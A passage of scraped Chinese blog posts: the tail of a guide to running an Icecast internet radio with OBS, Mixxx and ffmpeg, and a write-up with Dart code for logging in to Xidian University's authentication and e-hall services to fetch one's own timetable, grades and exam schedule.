opus(音频),下面的混流器设置填上 \u003ccode\u003econtent_type=application/ogg\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下面的音频比特率填个合适的,比如 192kbps 之类,想起了下载 MP3 年代了吗?\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\" loading=\"lazy\" alt=\"OBS 设置一个例子\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eOBS 设置一个例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 “开始录制”,vola,你现在开始广播了!当然,画面是传不过去了,不过调整一下声音配置,你的声音开始传播了。\u003c/p\u003e\n\u003ch3 id=\"mixxx-感觉更适合些\"\u003eMixxx 感觉更适合些\u003c/h3\u003e\n\u003cp\u003eMixxx 是一个 DJ 软件,他能混音各种各样的音乐,也能按照顺序播放音乐……好吧,我对这个软件没有那么了解,只是知道这个东西可以用来广播:-P\u003c/p\u003e\n\u003cp\u003e首先,你最好有个歌库啥的,也就是说,你的电脑得有一堆歌曲文件。这玩意下载也没那么难吧,随便开个网易云,腾讯啥的,一堆可以下载。把他们放在一起,然后在软件设置里面规定好歌库位置。等待然后在音轨选项里面全选之,右键选择\u0026#34;放到自动DJ\u0026#34;。打开自动DJ界面,点击启用自动Dj按钮,好了,广播台现在能循环你的歌单了。歌单还能随机播放哦。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\" loading=\"lazy\" alt=\"Mixxx 界面概览\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eMixxx 界面概览\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果你想增加个麦克风的话,你可以在设置里面添加之。这个东西还能添加应用程序作为输入源呢,不过需要搞啥回环声音设备之类,我觉得很不好用,应该有更好的解决方案吧。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\" loading=\"lazy\" alt=\"设置输入设备\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置输入设备\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e最后,就是规定你的广播地址了。这个看截图应该更明白吧……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\" loading=\"lazy\" alt=\"设置广播例子\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置广播例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好了,开启你的自动DJ功能,合适时候开下麦克风,Let’s on air!\u003c/p\u003e\n\u003ch3 id=\"ffmpeg-极简主义\"\u003eFFMpeg 极简主义\u003c/h3\u003e\n\u003cp\u003e没错,ffmpeg 也能推流 icecast 捏。不过一般都是用来转播别的广播台233,图个测试用途。看看我用来推流中国之声到服务器上面的命令。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003effmpeg -re -i \u003cspan class=\"s2\"\u003e\u0026#34;https://ngcdn001.cnr.cn/live/zgzs/index.m3u8\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 音频源头\u003c/span\u003e\n -f opus -content_type application/ogg \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流的格式和发送过去的 Content_Type\u003c/span\u003e\n -ice_description \u003cspan class=\"s2\"\u003e\u0026#34;转播中国之声\u0026#34;\u003c/span\u003e -ice_name \u003cspan class=\"s2\"\u003e\u0026#34;CNR News Transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e\u003cspan class=\"c1\"\u003e# 该推流的描述和名称(不填写也可以)\u003c/span\u003e\n \u003cspan class=\"s2\"\u003e\u0026#34;icecast://source:上面设置的推流密码@服务器ip或者域名:8000/cnr-news-transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流目的地址 \u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e具体想知道咋用的话,看看\u003ca class=\"link\" href=\"https://ffmpeg.org/ffmpeg-protocols.html#Icecast\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后说一句,本人十分不建议推流视频到 Icecast 服务器上,挺难用的。( Icecast 官方说支持 opus 和 webm,我知道最后那个是视频格式 )\u003c/p\u003e\n\u003ch2 id=\"让听众听见你的声音\"\u003e让听众听见你的声音\u003c/h2\u003e\n\u003cp\u003e实际上这块很水了,点到为止得了……\u003c/p\u003e\n\u003cp\u003e一个途径是,让你的听众打开你的推流地址,应该可以直接播放,如果浏览器支持的话……\u003c/p\u003e\n\u003cp\u003e或者说,你给他们推流链接,让他们拿啥播放器打开……\u003c/p\u003e\n\u003ch2 id=\"最后\"\u003e最后\u003c/h2\u003e\n\u003cp\u003e电台开起来了,放啥东西合适呢?实际上我也不知道,感觉听众不喜欢听新闻……\u003c/p\u003e\n\u003cp\u003e毕竟电台已经成为了某种怀旧的东西了,不过想想我在寒假那时候搭的电台,还是很能缓解一下某种孤独感的。我是那种倾向于向公众大喊\u0026#34;来看看我啊\u0026#34;的内向疯子:-P\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post 关于西电一站式服务大厅背后的那点事\"/\u003e\u003ch1 id=\"关于如何使用西电一站式服务大厅\"\u003e关于如何使用西电一站式服务大厅\u003c/h1\u003e\n\u003cp\u003e好吧,这个假期闲得慌想用 Flutter 把电表重写了(毕竟本人能力很差,就很容易瞎想)。目前开发还是没个身影,但是我感觉,我把核心功能给写出来了,就差套个壳。我觉得,核心功能就是从学校服务器上当下来我需要的数据。根据\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\u003e我项目的简介\u003c/a\u003e,应该是开发完大半了。\u003c/p\u003e\n\u003cp\u003e但是呢,鉴于本人的鸽子属性,我感觉我得在我将来大概率弃坑之前,留点材料,以方便将来有比我更无聊,更疯狂的人来完成他心目中的电表。\u003c/p\u003e\n\u003ch2 id=\"关于我校一站式服务大厅\"\u003e关于我校一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e我们学校的一站式服务大厅是由南京金智教育开发的,而且很多学校都用这个系统。所以,接下来的部分,感觉很多同志们都能适用。\u003c/p\u003e\n\u003cp\u003e我们学校的一站式大厅有很多功能,不过其中仅仅有很少的一部分我们能用。我感觉平常使用最多的就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课表\u003c/li\u003e\n\u003cli\u003e成绩查询\u003c/li\u003e\n\u003cli\u003e考试安排\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e而我们平常要使用一站式(或者其他东西,比如健康报告)的话,一般都要先登陆统一认证平台,之后才能进入一站式。而这个统一认证平台,也是金智的:-P\u003c/p\u003e\n\u003ch2 id=\"提前说明\"\u003e提前说明\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e以下使用的语言是 Dart,编写 Flutter 应用的语言。个人觉得还算好理解吧……\u003c/li\u003e\n\u003cli\u003e下面步骤,会多次出现本人故意暂停跳转情况发生。因为我发现,要是自动跳转,可能 Cookie 会存不下来,要是 python 的 request 库就没有这个问题。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何登陆统一认证平台\"\u003e如何登陆统一认证平台\u003c/h2\u003e\n\u003ch3 id=\"工具\"\u003e工具\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca class=\"link\" href=\"https://github.com/xdlinux/xidian-scripts\" target=\"_blank\" rel=\"noopener\"\u003exidian-script\u003c/a\u003e 姐妹计划 \u003ca class=\"link\" href=\"https://github.com/xdlinux/libxduauth\" target=\"_blank\" rel=\"noopener\"\u003elibxduauth\u003c/a\u003e 所说,登陆所需要的工具如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCookie Jar。\u003c/li\u003e\n\u003cli\u003e网络传输工具,其中需要设置 \u003ccode\u003eapplication/x-www-form-urlencoded\u003c/code\u003e 来传输参数。\u003c/li\u003e\n\u003cli\u003e网页分析工具,比如大名鼎鼎的 BeautifulSoup 库。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"操作步骤\"\u003e操作步骤\u003c/h3\u003e\n\u003ch4 id=\"获取登陆网页\"\u003e获取登陆网页\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 GET 请求,其中请求参数是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;service\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e接下来要访问的网址\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;userNameLogin\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果正常,会返回登录网页。\u003c/p\u003e\n\u003cp\u003e将登陆网页交给网页分析工具,让他找到网页中 id 为 pwdFromId 的元素们,这里记为 form:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#39;package:beautiful_soup_dart/beautiful_soup.dart\u0026#39; before use.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;form\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003eattrs:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pwdFromId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"检查是否需要验证码\"\u003e检查是否需要验证码\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/a\u003e 发送 GET 请求,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;username\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e填入你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003e目前时间戳\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e查看返回值中有没有 \t\u003ccode\u003etrue\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e如果需要填入验证码的话,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/getCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/getCaptcha.htl\u003c/a\u003e 获取验证码图片,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"err\"\u003e目前时间戳:\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"加密密码\"\u003e加密密码\u003c/h4\u003e\n\u003cp\u003e首先,我们需要填充密码。这里我们使用 PKCS7 填充方式。我的程序自己实现了,因为没看明白 Dart 里面 PKCS7 咋用的:-(:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e由于加密方式是 AES,要求分组长度是 128 bytes,根据 1 bit = 8 bytes,需要字符串长度是 16 的倍数。\u003c/li\u003e\n\u003cli\u003e先在密码字符串前面插上 xidianscriptsxdu 四遍(正好是 16 长的字符串,Dart 默认给的是随机字符串),然后将字符串转换成 int 数组(也就是把每个字符转换成对应的 ASCII 码)。\u003c/li\u003e\n\u003cli\u003e然后计算我们还需要在后面插入多少元素来满足 16 的倍数,差几个在后面插入几个。插入内容为插入元素的个数。注意,要是一个都不差,也得插入数据,来保证数据和插入值都存在。\u003c/li\u003e\n\u003cli\u003e由于接下来加密需要的是数字数组,所以不变回字符串。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后,从 form 里面寻找 input 标签,且 id 为 pwdEncryptSalt 的元素,这里面是加密密码的密钥(还是盐啥的)。最后,使用 AES-CBC 算法加密,然后返回字符串。\u003c/p\u003e\n\u003cp\u003e上述步骤的具体代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"c1\"\u003e/// Get base64 encoded data. Which is aes encrypted [toEnc] encoded string using [key].\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e/// Padding part is copied from libxduauth\u0026#34;s idea.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#34;package:encrypt/encrypt.dart\u0026#34; before use.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eaesEncrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e \u003cspan class=\"n\"\u003ek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eKey\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eAES\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eAESMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecbc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e/// Start padding\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxduxidianscriptsxduxidianscriptsxduxidianscriptsxdu\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e/// Start encrypt.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eEncrypter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003eiv:\u003c/span\u003e \u003cspan class=\"n\"\u003eIV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxdu\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebase64\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"发送登陆报文\"\u003e发送登陆报文\u003c/h4\u003e\n\u003cp\u003e首先,构建登陆请求所需要的头。初步需要三个信息:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eusername:你的学号\u003c/li\u003e\n\u003cli\u003epassword:加密过的密码\u003c/li\u003e\n\u003cli\u003erememberMe:防止之后又走一遍登陆过程\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在此之后,我们需要寻找很多预配置的头,加入到我们的头中。这些元素都在 form 中,是 input 标签 ,参数是 \u003ccode\u003etype=hidden\u003c/code\u003e 。循环将其插入到请求头中。\u003c/p\u003e\n\u003cp\u003e最后,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 POST 请求,其中请求头是上面搞过的请求头,请求参数是 \u003ccode\u003e{\u0026#34;service\u0026#34;: 接下来要访问的网址}\u003c/code\u003e ,请求不要自动跳转。\u003c/p\u003e\n\u003cp\u003e如果正常,ids.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003ehappyVoyagePersonal=...; Path=/personalinfo\u003c/code\u003e。然后需要我们自己向需要跳转的新网址发 GET 请求,同样,不需要自动跳转。\u003c/p\u003e\n\u003cp\u003e到此,通过统一认证平台,我们登陆了一站式服务大厅。\u003c/p\u003e\n\u003ch2 id=\"使用一站式服务大厅\"\u003e使用一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e首先给个表格:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e应用名称\u003c/th\u003e\n\u003cth\u003e内部序号(appID)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课表\u003c/td\u003e\n\u003ctd\u003e4770397878132218\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e成绩\u003c/td\u003e\n\u003ctd\u003e4768574631264620\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试安排\u003c/td\u003e\n\u003ctd\u003e4768687067472349\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e个人信息\u003c/td\u003e\n\u003ctd\u003e4585275700341858\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"如何进入应用\"\u003e如何进入应用\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e验证是否登录。向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\u003c/a\u003e 发送 GET 请求,查看返回的数据中,hasLogin 是否为 true。如果没登录,则需要登录。登陆需要的 target 是 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\u003c/a\u003e。\n一站式登录成功的话,ehall.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003eMOD_AUTH_CAS=MOD_AUTH_ST-...; path=/;\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e请求访问应用。向 \u003ccode\u003ehttp://ehall.xidian.edu.cn/appShow\u003c/code\u003e 发送 GET 请求,其中请求参数是 \u003ccode\u003e{\u0026#34;appId\u0026#34;: 要访问应用的内部序号}\u003c/code\u003e,header 追加参数如下:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Accept\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e暂停自动跳转请求,截断下来要跳转的网址,去相应函数请求,如果那个功能必要的话。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 